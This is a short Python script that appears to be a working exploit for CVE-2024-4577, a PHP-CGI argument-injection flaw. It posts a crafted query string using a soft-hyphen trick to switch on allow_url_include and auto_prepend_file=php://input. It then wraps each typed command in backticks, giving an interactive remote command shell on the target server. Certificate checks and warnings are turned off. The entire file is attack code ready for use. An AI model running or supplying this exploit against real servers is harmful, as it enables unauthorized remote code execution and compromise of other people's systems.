import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import argparse

parser = argparse.ArgumentParser(usage="""python CVE-2024-4577 --target http://192.168.0.1:3000/cgi-bin/php-cgi""")
parser.add_argument('--target', '-t', dest='target', help='Target URL', required=True)
args = parser.parse_args()
args.target = args.target.rstrip('/')

while True:
	code = input("cmd: ")
	s = requests.Session()
	s.verify = False
	res = s.post(f"{args.target.rstrip('/')}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", data=f"echo '';echo `{code}`;echo 'IceMaster - Rocks'; die;" )
	print(res.text)